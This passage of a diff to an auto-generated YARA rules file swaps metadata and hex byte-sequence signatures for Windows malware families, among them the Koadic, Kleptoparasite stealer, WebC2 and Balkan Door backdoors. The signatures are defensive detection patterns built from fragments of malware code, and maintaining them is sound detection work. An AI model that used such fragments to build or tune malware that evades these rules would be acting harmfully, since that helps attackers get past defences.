-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fusiondrive_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.koadic_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "b988107dd8630d41b8dbc9f6aa013be888aa54392baf79daf500a205d72bf5ae"
+		logic_hash = "4723d27185eb97d6e28808abd0dca69a0777b4b3cb3951837b42f0c81d537f3d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166480,32 +173784,32 @@ rule MALPEDIA_Win_Fusiondrive_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48898620020000 0fb7c0 66f3ab 488d3d501c0100 482bfe 8a041f }
-		$sequence_1 = { 0f846f010000 660f6f05???????? f30f7f442470 66c745806557 c6458200 488d542470 488bc8 }
-		$sequence_2 = { 7735 488bd1 4983ff08 7203 }
-		$sequence_3 = { 4c8d4c2440 4983fd08 4d0f43cf 488d7c2420 4983fc08 490f43fa 4c8b5c2450 }
-		$sequence_4 = { 4863c9 4c8d0514070100 488bc1 83e13f 48c1f806 488d14c9 498b04c0 }
-		$sequence_5 = { 0fb60a 83e10f 4c8d05f899ffff 4a0fbe8401a8150100 }
-		$sequence_6 = { 488b542450 488bc8 488902 488b5310 ff15???????? 33c0 }
-		$sequence_7 = { ff15???????? 8d0c4501000000 4103cf 458d7c2402 418bd7 }
-		$sequence_8 = { ff15???????? 3db7000000 0f8432060000 33ff 8bcf }
-		$sequence_9 = { 7528 48897df7 48c745ff07000000 66897de7 }
+		$sequence_0 = { 0f84b4020000 53 56 57 8b7c2424 bb01000000 83ffff }
+		$sequence_1 = { 035c2408 53 58 e8???????? a3???????? 8b5c2414 035c2408 }
+		$sequence_2 = { 83fb01 0f8da9000000 8b542404 ff35???????? e8???????? 8b15???????? }
+		$sequence_3 = { 50 8d4c2420 51 e8???????? e9???????? 6a08 }
+		$sequence_4 = { 3b1c24 7527 8b15???????? ff35???????? e8???????? 8d05c8334100 50 }
+		$sequence_5 = { 72f1 eb07 8b34c5c4124100 8bc6 8d5001 }
+		$sequence_6 = { 7507 c7450c02104100 53 56 8b7508 f6462c01 57 }
+		$sequence_7 = { 50 68???????? ff35???????? e8???????? 21c0 7414 ff35???????? }
+		$sequence_8 = { e8???????? 890424 6800000000 e8???????? a3???????? ff35???????? ff742404 }
+		$sequence_9 = { ff15???????? 8b542434 81c200000800 89542428 eb04 8b5c2414 8b442434 }
 
 	condition:
-		7 of them and filesize <290816
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Underminer_Ek_Auto : FILE
+rule MALPEDIA_Win_Saigon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2ed43350-f854-5062-8561-cad10f7ea1be"
+		id = "a473943a-8ea5-58ac-80e3-98de6dfb8169"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.underminer_ek_auto.yar#L1-L176"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.saigon_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "39ca462c5e03509c03f5a77251b93a3d7053742d5a8b5f784c7649f495781800"
+		logic_hash = "a5d9048555d265aef66c2410783198e6f4dd9139107e5b71b76341530d3b556c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166519,40 +173823,34 @@ rule MALPEDIA_Win_Underminer_Ek_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68d040fa7e 687853fa7e ff742418 ffd0 85c0 }
-		$sequence_1 = { 684c52fa7e 53 ff15???????? 8bf8 85ff 7476 }
-		$sequence_2 = { 1bc0 23c1 83c008 5d c3 8b04c5e48f4200 5d }
-		$sequence_3 = { 884d17 0f8482000000 f6451701 7445 8b4d10 }
-		$sequence_4 = { 68e452fa7e 53 e8???????? 68ef030000 8d4311 68d233fa7e 50 }
-		$sequence_5 = { 51 e8???????? 83c408 8b55dc c745f000000000 }
-		$sequence_6 = { 8b49fc 83c223 2bc1 83c0fc 83f81f 0f87b0130000 52 }
-		$sequence_7 = { f30f7e4110 660fd645f0 c7411000000000 c741140f000000 c60100 837df410 0f4345e0 }
-		$sequence_8 = { 8b4d0c c60102 ebe9 3cbf 770b }
-		$sequence_9 = { 0fb6d1 f604557aa3420001 740f 8b45f0 8b8094000000 }
-		$sequence_10 = { 8bdf 46 ff4d0c c1e010 0fbf16 03d8 8d841a00800000 }
-		$sequence_11 = { 8b34bd6cc64200 eb07 8b34bd38c64200 53 46 }
-		$sequence_12 = { 89451c 7548 803ee8 7559 8b4601 }
-		$sequence_13 = { 6a00 51 50 57 ff15???????? ff75d8 }
-		$sequence_14 = { 49 807dff00 8955ec 894df4 8b0485582c4300 }
-		$sequence_15 = { 5b c9 c3 ff742408 8b442408 ff10 c3 }
+		$sequence_0 = { 7508 ff15???????? 8bd8 4c8d5c2450 8bc3 498b5b20 498b6b28 }
+		$sequence_1 = { 4889442440 488364243800 488364243000 4533c0 488bd3 33c9 }
+		$sequence_2 = { ff15???????? 33ed 488bcb 85c0 }
+		$sequence_3 = { 7459 f60301 742c 418bcf 488bd0 4903cc e8???????? }
+		$sequence_4 = { 488b0d???????? 4c8bc7 33d2 8bd8 ff15???????? eb1e }
+		$sequence_5 = { 4156 4157 4883ec60 4c8bea 488d50c8 4d8bf9 e8???????? }
+		$sequence_6 = { ffd0 85c0 790e 8bc8 }
+		$sequence_7 = { 4c8d8584020000 488d8c2460060000 448bcb 418bd6 e8???????? }
+		$sequence_8 = { 33d2 8d440036 448bc0 448be0 ff15???????? }
+		$sequence_9 = { 8d4f01 448bcf 4c8bc6 894c2428 33c9 33d2 }
 
 	condition:
-		7 of them and filesize <466944
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Xbtl_Auto : FILE
+rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7372571c-d52e-5b5b-bd42-81e7e356cc7e"
+		id = "d0389ad4-24e3-5ce2-885f-8e2d3c44dd15"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xbtl_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kleptoparasite_stealer_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "b45bdfe7ddb3c3bebb25f685acba4274921aebf8fbd081dea272d3bf592a2a7b"
-		score = 75
-		quality = 75
+		logic_hash = "1caf749c6c15dea159c6ab2428d269f9b9674545b72666548fcdc2b3e50e89c9"
+		score = 60
+		quality = 35
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -166564,32 +173862,32 @@ rule MALPEDIA_Win_Xbtl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd7 50 ffd3 8bd8 85f6 7406 8d45e8 }
-		$sequence_1 = { 99 8bd8 8bc1 99 33f6 0bf0 3135???????? }
-		$sequence_2 = { 8d45ec 8d95f0fdffff e8???????? 8b85d4fdffff 56 56 6a03 }
-		$sequence_3 = { 85d2 782a 895dfc 8b4d08 0fb63c0a 8b460c 0345fc }
-		$sequence_4 = { 0fb67808 89948dc0feffff 0fb65007 c1e208 0bd7 }
-		$sequence_5 = { 83c41c 8d4c2410 51 ffd7 8b442434 8b4c2428 8b1d???????? }
-		$sequence_6 = { 8bd6 897c2420 2bd0 0fb708 66890c02 83c002 }
-		$sequence_7 = { 03048de0c04200 eb02 8bc2 f6402480 7417 e8???????? c70016000000 }
-		$sequence_8 = { 81e600ff00ff c1c208 81e2ff00ff00 0bf2 897018 8b491c }
-		$sequence_9 = { 8b5708 40 83c410 894704 3bc2 7e16 8d0412 }
+		$sequence_0 = { 7405 8901 895104 8be5 5d c3 3b0d???????? }
+		$sequence_1 = { ebe4 6a0c 68???????? e8???????? 8365e400 33c0 8b7d08 }
+		$sequence_2 = { e8???????? cc 55 8bec 56 e8???????? 8b7508 }
+		$sequence_3 = { 895104 8be5 5d c3 3b0d???????? 7502 }
+		$sequence_4 = { b8???????? c3 e9???????? 55 8bec 56 e8???????? }
+		$sequence_5 = { 59 c3 6a10 68???????? e8???????? 33ff 897de0 }
+		$sequence_6 = { 895104 8be5 5d c3 3b0d???????? }
+		$sequence_7 = { cc 55 8bec 56 e8???????? 8b7508 6a02 }
+		$sequence_8 = { 8901 895104 8be5 5d c3 3b0d???????? 7502 }
+		$sequence_9 = { c3 e9???????? 55 8bec 56 e8???????? 8bf0 }
 
 	condition:
-		7 of them and filesize <401408
+		7 of them and filesize <3006464
 }
-rule MALPEDIA_Win_Findpos_Auto : FILE
+rule MALPEDIA_Win_Ghost_Secret_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "06e6ab2e-1688-507b-a649-5420f969f64c"
+		id = "1b3488d9-dad5-57ab-8ddb-ae7fa19ffb25"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.findpos_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghost_secret_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "89f2603a026fe078dffd243a5f02eea72ee3cfa2b2eca87062e133a5a2b51b38"
+		logic_hash = "36f12490c5a1c42890949e26bd5a0482d94d3f78b5528e6a3d7d1ab5deca281b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166603,32 +173901,32 @@ rule MALPEDIA_Win_Findpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48 0f844b050000 33c0 8d8c24f0010000 50 51 8d8c243c020000 }
-		$sequence_1 = { 68???????? e8???????? a1???????? 59 59 83c010 a3???????? }
-		$sequence_2 = { 7671 8365d400 8d55d4 8bcf }
-		$sequence_3 = { 8bcf e8???????? 8325????????00 833d????????10 68???????? 0f4335???????? }
-		$sequence_4 = { 8b0cb8 03cb e8???????? 85c0 7414 8b4df0 }
-		$sequence_5 = { eb29 8a01 3c33 7505 }
-		$sequence_6 = { 8945f8 8d45f8 50 c745ec00200000 ff15???????? 85c0 745f }
-		$sequence_7 = { 3b08 7518 53 51 51 6a01 8d45e4 }
-		$sequence_8 = { 50 0fb6c1 50 8d85e8e7ffff 50 }
-		$sequence_9 = { 33f6 46 3bc6 0f8577040000 6a11 ffd7 663bc6 }
+		$sequence_0 = { 8d852cf1ffff 50 e8???????? 8d8548fbffff 50 e8???????? 59 }
+		$sequence_1 = { c68424af050000fd c68424b0050000f6 c68424b105000093 c68424b205000038 c68424b305000032 c68424b405000048 c68424b5050000e5 }
+		$sequence_2 = { c68424b902000066 c68424ba02000072 c68424bb0200001a c68424bc0200004a }
+		$sequence_3 = { c68424e903000052 c68424ea03000082 c68424eb03000058 c68424ec0300008e }
+		$sequence_4 = { c684243e030000f0 c684243f030000f2 c68424400300003b c6842441030000c7 c6842454050000ab c684245505000087 c6842456050000d6 }
+		$sequence_5 = { 85c0 740b 33c0 5f 5e 5b 8be5 }
+		$sequence_6 = { ff15???????? e9???????? a1???????? 33db 3bc7 7e0e 50 }
+		$sequence_7 = { c684247c05000006 c684247d0500003e c684247e05000012 c684247f05000053 c684248005000092 c684248105000042 c6842482050000e8 }
+		$sequence_8 = { c644247460 c64424751f c6442476e7 c64424778a c6442478dd c68424f40000006a 888c24f5000000 }
+		$sequence_9 = { 83c408 5f 5e 81c400200000 c3 81ecfc000000 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Downeks_Auto : FILE
+rule MALPEDIA_Win_Webc2_Head_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "45e36078-208a-5456-a83d-718f8ea60024"
+		id = "fbb157f3-5522-59eb-8966-994ac95b42ec"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.downeks_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_head_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "f8eb51f40370e6583f97bf6d6b06a56caeeec4252d81205dee3da42852ee5b8c"
+		logic_hash = "3accb9e007709b9cb8a99022cd642781f2c16d496b60a9e07fc0420c29da6736"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166642,32 +173940,32 @@ rule MALPEDIA_Win_Downeks_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 8b8ddcfeffff 51 ff15???????? 8b8de0feffff 53 }
-		$sequence_1 = { c3 8b4108 c3 b8ccd00904 c3 8bff 55 }
-		$sequence_2 = { 8d4da0 e8???????? 8b4704 85c0 7409 83f8ff 7304 }
-		$sequence_3 = { e8???????? 8bd8 83c40c 85db 0f85cf000000 8b55c0 85d2 }
-		$sequence_4 = { 2bce 51 8bce 2b4d80 8d75a8 8d558c e8???????? }
-		$sequence_5 = { e9???????? 8d75b4 e9???????? 8d75d0 e9???????? 8bb560ffffff e9???????? }
-		$sequence_6 = { c785e8faffff07000000 89b5e4faffff 668995d4faffff e8???????? 8975fc 80fb5c 740a }
-		$sequence_7 = { c1ea08 0fb6d2 8b3c95a0c20804 0fb6d0 8b1495a0c60804 c1e808 0fb6c0 }
-		$sequence_8 = { ff15???????? 8bf0 83c42c 85f6 0f8547feffff 8b45f0 50 }
-		$sequence_9 = { 7488 8b4d0c 833900 7502 8901 8b4d10 8b13 }
+		$sequence_0 = { 8a8c0cc0000000 eb02 b13d c1e810 83e03f 0fbec9 }
+		$sequence_1 = { 68???????? 55 55 896c2434 ffd7 }
+		$sequence_2 = { 8d942444080000 03f0 51 50 52 55 ff15???????? }
+		$sequence_3 = { e8???????? 83c40c 85c0 0f8554020000 b900050000 }
+		$sequence_4 = { 33db 89442418 52 c6450000 }
+		$sequence_5 = { 7513 8dbc2444040000 83c9ff f2ae f7d1 49 894c241c }
+		$sequence_6 = { 89442410 c1e002 89442418 8b4c2424 }
+		$sequence_7 = { eb02 b03d 884303 8b442410 }
+		$sequence_8 = { 83c410 c3 5f c6450000 5e }
+		$sequence_9 = { 2500ff0000 45 3d003d0000 7435 }
 
 	condition:
-		7 of them and filesize <1318912
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Quickheal_Auto : FILE
+rule MALPEDIA_Win_Predator_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1144a28c-6891-50e3-aab7-fbd2738d1ce6"
+		id = "139b7e6c-7d6f-5725-bc06-83e05af2728a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quickheal_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.predator_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "c8252dc1fbd623ed33de5c38485302af864b4c120786c74e672f39f82eb29422"
+		logic_hash = "4f1faf378ed80607ad7505f3b525c8d2a5bbf8d81c1cadcdd453ab7a1d609878"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166681,32 +173979,32 @@ rule MALPEDIA_Win_Quickheal_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7ce2 b814010000 8a8c28f8feffff 888c0484000000 40 3d30010000 72ea }
-		$sequence_1 = { 3bf3 0f840b030000 8d4e02 8d542424 51 }
-		$sequence_2 = { ff15???????? 8d542410 8d8424fc060000 52 6819000200 53 }
-		$sequence_3 = { 49 51 6a06 52 ffd5 83c408 }
-		$sequence_4 = { 2bce 51 56 50 56 e8???????? 83c410 }
-		$sequence_5 = { 8d445d0c 83c408 33f6 6683f93b }
-		$sequence_6 = { 83c102 3bc6 7cf0 5f }
-		$sequence_7 = { 7207 885101 04fc eb04 c6410100 3c02 7209 }
-		$sequence_8 = { f7d1 49 8dbc2414010000 8bd1 83c9ff f2ae a1???????? }
-		$sequence_9 = { 52 ffd7 85c0 7418 8b442410 c744241404010000 50 }
+		$sequence_0 = { 55 8bec 83ec18 8bc2 56 8bf1 8d4dfd }
+		$sequence_1 = { 80c230 8811 85c0 75f2 51 8d45fd }
+		$sequence_2 = { 8d4dfd 57 6a0a 5f 85c0 7916 }
+		$sequence_3 = { 03c2 8bce 50 e8???????? 5f 8bc6 5e }
+		$sequence_4 = { 7508 83c8ff e9???????? ff75ec e8???????? }
+		$sequence_5 = { 83ec18 8bc2 56 8bf1 8d4dfd }
+		$sequence_6 = { ff75ec e8???????? 59 8bf0 }
+		$sequence_7 = { 7508 83c8ff e9???????? ff75ec e8???????? 59 8bf0 }
+		$sequence_8 = { 894e08 89560c 834dfcff 8b4df4 64890d00000000 5f 5e }
+		$sequence_9 = { 8b00 57 03c2 8bce }
 
 	condition:
-		7 of them and filesize <553984
+		7 of them and filesize <2211840
 }
-rule MALPEDIA_Win_Yarat_Auto : FILE
+rule MALPEDIA_Win_Qhost_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9b4289ae-23e7-5628-ab26-1ca831bf886f"
+		id = "5a22ec0c-4f17-55ab-b241-2378f7015545"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yarat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qhost_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "6ef74e5effac24b08695314060e4e7e4519b854f50f85d73d7052d0ace49145b"
+		logic_hash = "c30effbf965ec02215e2576b89ba366bebeed097f08848009dcc3ab3b7556ec0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166720,32 +174018,32 @@ rule MALPEDIA_Win_Yarat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8b75a8 8bf8 3bf7 7465 8b4e14 83f910 }
-		$sequence_1 = { c70000000200 e9???????? 56 68???????? 57 e8???????? 83c40c }
-		$sequence_2 = { 8d8544feffff 6a00 57 89864c010000 e8???????? 83c414 80bf0b05000000 }
-		$sequence_3 = { e8???????? 83c40c 85d2 0f8f28010000 7c08 85c0 0f831e010000 }
-		$sequence_4 = { 8b8f90050000 83c40c 85c9 7506 8b8f04030000 8b8748050000 8b4040 }
-		$sequence_5 = { 8a18 885dfe 80fb2e 8b5d08 7406 807dfe2c 7534 }
-		$sequence_6 = { 07 20c2 aa 709a 93 a3???????? 9e }
-		$sequence_7 = { 8b75fc 8bc7 c1e808 83e00f 8a80d0070a10 880433 8bda }
-		$sequence_8 = { e8???????? 83c408 85c0 7405 8d7728 eb38 8d85fcefffff }
-		$sequence_9 = { 8b4508 33f6 83f8ff 742d 8d8df4fdffff 51 50 }
+		$sequence_0 = { c60000 8b4dfc 83e901 894dfc ebdc 8b4508 }
+		$sequence_1 = { 40 884598 8b0d???????? 51 e8???????? }
+		$sequence_2 = { ff15???????? 898550beffff c78538beffff00000000 837df400 }
+		$sequence_3 = { 7507 b805000080 eb36 8b5508 52 68???????? e8???????? }
+		$sequence_4 = { 03d0 52 ff15???????? 83c408 }
+		$sequence_5 = { 68???????? 68???????? 68ff030000 68???????? ff15???????? 83c410 }
+		$sequence_6 = { 837df800 0f84dc000000 c7854cbeffff00000000 c78550beffff00000000 eb1e }
+		$sequence_7 = { 68???????? 680f270000 68???????? ff15???????? 83c410 ff15???????? }
+		$sequence_8 = { 8bec 81ec6c0b0000 c785f0fdffff00000000 c785e8fdffff00000000 c785d4fdffff00000000 c745fc00000000 c785f4fdffff00000000 }
+		$sequence_9 = { 50 6800040000 8d8d00fcffff 51 8b95c8fbffff 52 }
 
 	condition:
-		7 of them and filesize <8692736
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE
+rule MALPEDIA_Win_Balkan_Door_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "129184de-8948-5274-9e65-221045ceab9c"
+		id = "9f746f91-5631-5121-b4e8-99ba1997828d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ryuk_stealer_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.balkan_door_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "32617ac72ab27e6e0bdc0cedf044a04c83b7c2ead314f2e254d4a430611a1927"
+		logic_hash = "3ecc62d6dd03e7104a1dd179870266fc7dbfc3c0ad204dec134adb374e60ab02"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166759,32 +174057,32 @@ rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7410 83ff01 755d 8bcb }
-		$sequence_1 = { ff15???????? 33ff 0fb60437 50 }
-		$sequence_2 = { 75f5 2bd1 8d8db4fdffff d1fa 8d7102 }
-		$sequence_3 = { 50 e8???????? 83c40c ff15???????? 33d2 b910270000 }
-		$sequence_4 = { 83ff01 755d 8bcb e8???????? }
-		$sequence_5 = { 50 ff15???????? 8bf0 ff15???????? 85c0 7518 }
-		$sequence_6 = { 83ff01 755d 8bcb e8???????? 3bc7 }
-		$sequence_7 = { 99 b9a0860100 f7f9 81c2f8240100 52 ff15???????? }
-		$sequence_8 = { 7560 8d85b4fdffff 68???????? 50 }
-		$sequence_9 = { ff15???????? 8d442454 50 ff15???????? 50 }
+		$sequence_0 = { 50 ff15???????? 8bf8 89bd3cefffff }
+		$sequence_1 = { 8bf0 85f6 740b 6a00 6a00 56 ff15???????? }
+		$sequence_2 = { ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 50 56 }
+		$sequence_3 = { 8d85f4fdffff 50 ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 }
+		$sequence_4 = { c785d0fdffff2c020000 50 56 ffd3 }
+		$sequence_5 = { 56 ff15???????? 8b4dfc 8b85ccfdffff 33cd 5e e8???????? }
+		$sequence_6 = { e8???????? 83c404 8bbd3cefffff 6a00 }
+		$sequence_7 = { 8b85d8fdffff 8985ccfdffff 5f 5b 56 }
+		$sequence_8 = { 683f000f00 68???????? 57 ff15???????? }
+		$sequence_9 = { 50 57 6a00 6a13 ffb53cefffff ff15???????? 85c0 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Chainshot_Auto : FILE
+rule MALPEDIA_Win_Kurton_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "beaf03a9-9558-5280-a84b-64277bd4ffc2"
+		id = "f013ccb0-04a7-5f02-910f-ce10f5a3eef2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chainshot_auto.yar#L1-L111"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kurton_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "ba9c33c28d22ea04923b796ce7a5cfd0e30c1f14b0a956e4cbe61344e61c7def"
+		logic_hash = "dc4903969616e73929d77cdaee0d726bcae8e439ec6bc053e08d133b52122f5e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166798,32 +174096,32 @@ rule MALPEDIA_Win_Chainshot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 731b 85c9 7906 b840000000 }
-		$sequence_1 = { 8d68fc c70726000000 e9???????? c70709000000 bd02000000 }
-		$sequence_2 = { 7509 e8???????? 85c0 7808 }
-		$sequence_3 = { 6683f819 7705 8d4220 eb03 0fb7c2 0fb7c0 }
-		$sequence_4 = { b901070080 e8???????? eb89 8bd7 }
-		$sequence_5 = { 7408 ffd0 8905???????? bfa3000080 e9???????? }
-		$sequence_6 = { ffc8 0f843a110000 ffc8 7427 83e803 0f844a110000 }
-		$sequence_7 = { 7408 ffd0 8905???????? bb82000080 }
-		$sequence_8 = { 8d4a02 b8abaaaaaa f7e1 d1ea }
-		$sequence_9 = { ffc8 747a ffc8 7461 83e802 }
+		$sequence_0 = { 89542430 8d8c24b8000000 89542434 50 8954243c }
+		$sequence_1 = { 83c8ff eb1f 8bce 83e61f c1f905 8bc6 8b0c8da05b0210 }
+		$sequence_2 = { 33c0 8dbc2458010000 c744242800010000 f3ab 8d442428 8d8c2458010000 50 }
+		$sequence_3 = { 889c2478040200 e8???????? 89b42474040200 e9???????? b91f000000 }
+		$sequence_4 = { 64a100000000 50 64892500000000 81ecb8000000 8a442403 53 }
+		$sequence_5 = { 84c0 752b 8b442414 3bc3 }
+		$sequence_6 = { 8d88740a0000 8988280b0000 33c9 c780180b0000902f0210 }
+		$sequence_7 = { 83c410 c20400 68???????? e8???????? 6a00 6a00 6a01 }
+		$sequence_8 = { b91f000000 33c0 8dbc24ad000000 889c24ac000000 f3ab 66ab }
+		$sequence_9 = { 895de0 895ddc 895dfc 897de4 740a 803800 7405 }
 
 	condition:
-		7 of them and filesize <802816
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Shujin_Auto : FILE
+rule MALPEDIA_Win_Webc2_Div_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "20683034-d09a-5705-9d80-d7edf3a7d88d"
+		id = "ec34042e-e794-5a2f-acc9-f1f4c0dd235a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shujin_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_div_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "b1da2f105214e6f844dccb186e5a1748a5be3983c376113a3f54dc8e70f99c20"
+		logic_hash = "11aa7a8bbe87a55b44481499db0ce13e00127df87edb76e8d3596bc6375e5a87"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166837,32 +174135,32 @@ rule MALPEDIA_Win_Shujin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? ff7660 8b1d???????? 6a01 bf80000000 57 }
-		$sequence_1 = { ff15???????? 85c0 0f8431010000 53 897df4 }
-		$sequence_2 = { 6aff 50 ff15???????? 57 8b7d10 83ff01 }
